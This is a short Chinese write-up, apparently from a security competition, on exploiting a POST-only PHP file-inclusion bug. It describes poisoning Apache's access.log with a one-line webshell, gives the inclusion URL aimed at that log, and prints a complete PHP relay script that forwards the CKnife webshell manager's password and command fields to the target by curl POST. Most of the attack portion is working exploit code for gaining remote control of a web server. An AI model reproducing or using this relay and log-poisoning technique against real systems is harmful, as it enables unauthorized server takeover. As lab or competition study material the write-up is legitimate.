最近在忙比赛,碰到了一个文件包含漏洞,通过包含apache的access.log中的一句话,使用CKnife进行连接,但是Get型是十分轻松的,直接 http://xxx/FilesIn.php?filename=../apache/logs/access.log 进行包含利用就行了。但是当遇到这样的文件保护漏洞。
<?phpif(isset($_POST["filename"])) $myfile = $_POST["filename"];else echo "Please set filename!";?>
上面的办法是完全没有效果的,本身菜刀,C刀的配置参数中也不支持POST选项,所以这好好的漏洞岂不是浪费了?通过之前的Cookies注入中的Cookies中转注入思想,写了一个简易的脚本(以C刀为例)。
首先我们先给日志写入一句话。
然后我们可以在靶机上查看一下是否上传成功。
ok
创建如下脚本:
<?php$url="http://192.168.51.103/FilesIn.php"; //中转的脚本路径//初始化提交参数$data = array('filename'=>'../Apache/logs/access.log');if(isset($_POST["CRoot"]))//此处CRoot改为你的密码{ $tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码 $data += $tmp;}if(isset($_POST["action"])){ $tmp = array('action'=>$_POST["action"]); $data += $tmp;}if(isset($_POST['z1'])){ $tmp = array('z1'=>$_POST["z1"]); $data += $tmp;}//$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']);//var_dump($data);$data = http_build_query($data);$curl = curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, $data);$rtdata = curl_exec($curl);curl_close($curl);echo $rtdata;?>
打开C刀
本地搭建PHP服务器进行连接。测试效果
OK.本次仅仅对PHP类型的文件管理进行了中转处理,其他管理功能可能支持的不大好。